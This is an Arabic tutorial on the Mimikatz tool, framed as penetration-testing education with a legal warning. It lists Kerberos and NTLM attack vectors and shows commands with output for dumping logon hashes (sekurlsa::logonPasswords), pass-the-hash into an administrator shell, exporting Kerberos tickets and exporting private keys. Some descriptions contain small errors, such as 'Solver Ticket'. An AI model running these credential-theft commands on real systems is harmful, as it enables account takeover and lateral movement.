جدول المحتويات
ما هي أداة ميمي كاتز (Mimikatz)
ميمي كاتز أو Mimikatz هي أداة أنشأها المطور الفرنسي بنيامين ديلبي، تُستخدم لجمع بيانات الاعتماد وتنفيذ مجموعة متنوعة من العمليات المتعلقة باختبار الاختراق. تم إنشاؤها استنادًا إلى ثغرة ملحوظة في وظيفة نظام ويندوز تسمى WDigest. تم تصميم WDigest للسماح لمستخدمي الشبكات الكبيرة القائمة على ويندوز بإثبات هويتهم في تطبيقات متعددة على شبكات LAN أو WAN. تقوم هذه الميزة بتخزين بيانات الاعتماد الخاصة بالمصادقة في الذاكرة وتسمح بإعادة استخدامها تلقائيًا حتى يحتاج المستخدمون إلى إدخال تفاصيل تسجيل الدخول مرة واحدة فقط.
اتضح أنه قد أنشأ واحدة من أقوى الأدوات لاكتشاف نقاط الضعف في أمان نظام ويندوز. حاليًا، لا يزال مختبرو الاختراق يستخدمون ميمي كاتز كأداة مساعدة مع أدوات أخرى لاختبار أمان ويندوز.
نواقل الهجوم
هنا خمسة نواقل هجوم يتفحصها ميمي كاتز:
- تمرير التجزئة (Pass-the-Hash) — يحتوي NTLM (أو مدير الشبكة المحلية لنظام ويندوز) على تجزئات تُستخدم للحصول على كلمات المرور. يحاول هذا النظام السماح للمستخدمين النهائيين باستخدام كلمات المرور عدة مرات دون الحاجة إلى إعادة استخدام نفس التجزئة مرة أخرى.
- تمرير التذكرة (Pass-the-Ticket) — نظام Kerberos هو بروتوكول مصادقة الشبكة الذي يعمل بناءً على التذاكر التي تسمح للعقد المتصلة عبر شبكة غير آمنة بالتحقق من هويتها لبعضها البعض بأمان. يمكن لميمي كاتز الحصول على هذه التذاكر من حساب المستخدم واستخدامها للوصول إلى النظام كمستخدم.
- تذكرة Kerberos الذهبية (Kerberos Golden Ticket) — يحصل هذا على تذكرة لحساب مركز توزيع المفاتيح المخفي (KRBTGT)، الذي يقوم بتشفير جميع تذاكر المصادقة، مما يوفر الوصول إلى مستوى إداري لأي جهاز في الشبكة.
- تذكرة Kerberos الفضية (Kerberos Solver Ticket) — توفر هذه الوظيفة في ويندوز للمستخدمين تذكرة للوصول إلى عدة خدمات داخل الشبكة. يتيح ذلك لمهاجم محتمل انتحال شخصية مستخدم الشبكة.
- تمرير المفتاح (Pass-the-Key) — يحصل هذا على مفتاح فريد يُستخدم للمصادقة على وحدة التحكم في المجال. يمكن للمهاجم بعد ذلك استخدام هذا المفتاح عدة مرات لانتحال شخصية المستخدم.
تثبيت ميمي كاتز
لا تزال العديد من الشركات تجد هذه الأداة مفيدة لاكتشاف وتصحيح أي نقاط ضعف في أمان نظام الخدمات الفرعية للسلطة المحلية (Local Security Authority Subsystem Service security).
تحذير: استخدام هذا البرنامج لأغراض غير المقصودة منه ممنوع. استخدامه لفحص الثغرات خارج نطاق سيطرتك أو بدون إذن المالك قد يكون غير قانوني ويؤدي إلى الملاحقة الجنائية.
الخطوة 1
أولاً، نحتاج إلى فتح طرفية ويندوز (أو باورشيل). لتحقيق ذلك، اضغط على Win+X ثم أدخل cmd.
الخطوة 2
الخطوة التالية هي تثبيت ميمي كاتز. يمكن تنزيله من GitHub بفتح الرابط التالي (https://github.com/gentilkiwi/mimikatz/releases). احفظه بتنسيق .zip أو .7z، ثم فك ضغط الأرشيف، وبناءً على نظامك، اختر إصدار x32 أو x64. بعد ذلك، قم بتشغيل الملف بتنسيق ‘.exe’. يمكن أيضًا تنزيل ميمي كاتز من الكود المصدر وبناؤه بنفسك.
Microsoft Windows [Version 10.0.19041.329]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\Katherine>cd Downloads
C:\Users\Katherine\Downloads>cd mimikatz_trunk
C:\Users\Katherine\Downloads\mimikatz_trunk>cd x64
C:\Users\Katherine\Downloads\mimikatz_trunk\x64> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY gentilkiwi (benjamin@gentilkiwi.com)
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX (vincent.letoux@gmail.com)
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz #
دعونا نتحقق مما إذا كان ميمي كاتز يعمل بأمر ‘version’:
mimikatz # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19041 (arch x64)
msvc 150030729 207
mimikatz #
وحدات ميمي كاتز
يوجد مجموعة واسعة من الوحدات لأغراض مختلفة، لكننا سنستعرض بعضًا من أشهرها فقط.
وحدة Standard
تحتوي على أوامر قصيرة وبسيطة يمكن استخدامها أثناء العمل مع هذه الأداة. دعونا نلقي نظرة على بعض الأوامر القياسية:
- exit — يخرج من البرنامج؛
- cls — يمسح وحدة التحكم؛
- sleep — ينتقل إلى وضع السكون لعدة ثوان:
mimikatz # sleep 4200
Sleep : 4200 ms... End !
mimikatz #
- answer – يطبع الإجابات على أهم الأسئلة في الحياة!
- cd – يغير أو يعرض الدليل الحالي؛
- log – يستخدم لتسجيل الإجراءات وتسجيل السجلات:
mimikatz # log
Using 'mimikatz.log' for logfile : OK
mimikatz #
- coffee – عند عدم توفر دقيقة مجانية يمكن استخدام هذا الأمر للاستمتاع بفاصل قصير مع فنجان قهوة افتراضي؛
- base64 – ينتقل إلى طباعة المخرجات في وحدة التحكم بدلاً من تسجيل الملفات إلى القرص.
وحدة Privilege
تحتوي على بعض الأوامر للعمل مع الامتيازات أثناء استخدام ميمي كاتز.
دعونا نضع ميمي كاتز في وضع التصحيح للحصول على امتيازات أكثر والوصول إلى مستوى أعلى:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz #
وحدة Crypto
يمكن استخدام هذه الوحدة مع وظائف CryptoAPI.
- Providers – يحصل على جميع المزودين إذا كانوا متاحين:
mimikatz # crypto::providers
CryptoAPI providers :
0. RSA_FULL ( 1) - Microsoft Base Cryptographic Provider v1.0
1. DSS_DH (13) - Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
2. DSS ( 3) - Microsoft Base DSS Cryptographic Provider
3. RSA_FULL ( 1) H - Microsoft Base Smart Card Crypto Provider
4. DH_SCHANNEL (18) - Microsoft DH SChannel Cryptographic Provider
5. RSA_FULL ( 1) - Microsoft Enhanced Cryptographic Provider v1.0
6. DSS_DH (13) - Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
7. RSA_AES (24) - Microsoft Enhanced RSA and AES Cryptographic Provider
8. RSA_SCHANNEL (12) - Microsoft RSA SChannel Cryptographic Provider
9. RSA_FULL ( 1) - Microsoft Strong Cryptographic Provider
CryptoAPI provider types:
0. RSA_FULL ( 1) - RSA Full (Signature and Key Exchange)
1. DSS ( 3) - DSS Signature
2. RSA_SCHANNEL (12) - RSA SChannel
3. DSS_DH (13) - DSS Signature with Diffie-Hellman Key Exchange
4. DH_SCHANNEL (18) - Diffie-Hellman SChannel
5. RSA_AES (24) - RSA Full and AES
CNG providers :
0. Microsoft Key Protection Provider
1. Microsoft Passport Key Storage Provider
2. Microsoft Platform Crypto Provider
3. Microsoft Primitive Provider
4. Microsoft Smart Card Key Storage Provider
5. Microsoft Software Key Storage Provider
6. Microsoft SSL Protocol Provider
7. Windows Client Key Protection Provider
mimikatz #
- keys – يطبع قوائم مفاتيح جميع المزودين (يمكنه تصدير المفاتيح إلى وحدة التحكم):
mimikatz # crypto::keys /export
* Store : 'user'
* Provider : 'MS_ENHANCED_PROV' ('Microsoft Enhanced Cryptographic Provider v1.0')
* Provider type : 'PROV_RSA_FULL' (1)
* CNG Provider : 'Microsoft Software Key Storage Provider'
CryptoAPI keys :
CNG keys :
0. Microsoft Connected Devices Platform device certificate
|Provider name : Microsoft Software Key Storage Provider
|Implementation: NCRYPT_IMPL_SOFTWARE_FLAG ;
Key Container : Microsoft Connected Devices Platform device certificate
Unique name : de7cf8a7901d2ad13e5c67c29e5d1662_4446d1b2-0875-4cc5-bdeb-4835813c706d
Algorithm : ECDSA_P256
Key size : 256 (0x00000100)
Export policy : 00000003 ( NCRYPT_ALLOW_EXPORT_FLAG ; NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG ; )
Exportable key : YES
LSA isolation : NO
Private export : OK - 'user_cng_0_Microsoft Connected Devices Platform device certificate.dsa.ec.p8k'
mimikatz #
وحدة Sekurlsa
يمكن استخدامها لاستخراج كلمات المرور، المفاتيح، رموز التعريف، والتذاكر من الذاكرة. للعمل مع هذه الوحدة يجب استخدام الأمر privilege::debug
. بدءًا من ويندوز 8.x و 10، لا تكون كلمات المرور موجودة في الذاكرة بشكل افتراضي مما يزيد من الأمان.
- logonPasswords – يستخدم للحصول على كلمات المرور من الذاكرة:
mimikatz # sekurlsa::logonPasswords
Authentication Id : 0 ; 143799 (00000000:000231b7)
Session : Interactive from 1
UserName : Katherine
Domain : HOME-PC
Logon Server : HOME-PC
Logon Time : 7/8/2020 12:00:02 PM
SID : S-1-5-21-1137163267-1680361566-2184406797-1001
msv :
[00000003] Primary
* Username : Katherine
* Domain : HOME-PC
* NTLM : 19afbb31b09b2d5eb218675addf4e73c
* SHA1 : e6770dc3e28e6755b49734a818ec7e17e69ef72f
tspkg :
wdigest :
* Username : Katherine
* Domain : HOME-PC
* Password : (null)
kerberos :
* Username : Katherine
* Domain : HOME-PC
* Password : (null)
ssp :
credman :
mimikatz #
لتشغيل نسخة سطر الأوامر كمسؤول، نستخدم الأمر التالي:
mimikatz # sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
user : Administrateur
domain : winxp
program : cmd
impers. : no
NTLM : f193d757b4d487ab7e5a3743f038f713
| PID 3176
| TID 3188
| LSA Process was already R/W
| LUID 0 ; 408781 (00000000:00063ccd)
\_ msv1_0 - data copy @ 000001F73964A3C0 : OK !
\_ kerberos - data copy @ 000001F739ED3E78
\_ des_cbc_md4 -> null
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ *Password replace @ 000001F739681E78 (32) -> null
mimikatz #
- pth (Pass-The-Hash) — يشغل عملية تغيير كلمة المرور باستخدام تجزئة كلمة المرور بدلاً من كلمة المرور الحقيقية.
- tickets /export — يستخدم قراءة تذاكر Kerberos من الذاكرة ولا يحتوي على قيود على تصدير المفاتيح والأوامر الأخرى.
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 129210 (00000000:0001f8ba)
Session : Interactive from 1
UserName : Katherine
Domain : HOME-PC
Logon Server : HOME-PC
Logon Time : 7/8/2020 12:47:21 PM
SID : S-1-5-21-1137163267-1680361566-2184406797-1001
* Username : Katherine
* Domain : HOME-PC
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
UserName : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 7/8/2020 12:47:13 PM
SID : S-1-5-19
* Username : (null)
* Domain : (null)
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
mimikatz #
وحدة Kerberos
يمكنها العمل دون أي امتيازات والتلاعب بواجهة برمجة تطبيقات Kerberos الرسمية من Microsoft. يمكن إنشاء تذاكر Kerberos (مثل التذاكر الذهبية وطويلة الأمد) لأي مستخدمين.
- ptt – يدمج تذاكر Kerberos في الجلسة الحالية.
- golden / silver – ينشئ تذاكر Kerberos ببيانات عشوائية لأي مستخدمين، مجموعات مستخدمين المطلوبة (مثل المسؤول).
- tgt – يعرض معلومات حول الجلسة الحالية:
mimikatz # kerberos::tgt
Kerberos TGT of current session : no ticket !
mimikatz #
- purge – يقوم بتنظيف جميع التذاكر والعديد من الأوامر الأخرى.
هناك العديد من الأوامر والوحدات وللاستخدامها يجب أن يكون لديك فهم للهياكل الشبكية واستخدامها في ويندوز. يمكن العثور على هذه المعلومات في الصفحات الرسمية. تنفيذ آمن لـ Kerberos في إعداد مجموعة النطاق يجب أن يتجنب نوع الثغرات التي تمت مناقشتها هنا.
الخلاصة
في هذا المقال استعرضنا ميمي كاتز، وتعلمنا أين وكيف يمكن استخدامه، وتفصيل لماذا يمكن أن يكون مفيدًا وخطيرًا إذا استخدمه شخص ضار. تعلمنا كيفية تثبيته على ويندوز وأشرنا إلى بعض أوامره الأساسية التي يمكن استخدامها لتحديد المعلومات الحساسة.
إذا قررت استخدام هذه الأداة لتأمين شبكة ويندوز الخاصة بك، فستحتاج إلى متابعة آخر تحديثات وأحداث ميمي كاتز لفهم كامل للطرق والميزات المستخدمة للوصول إلى معلومات النظام.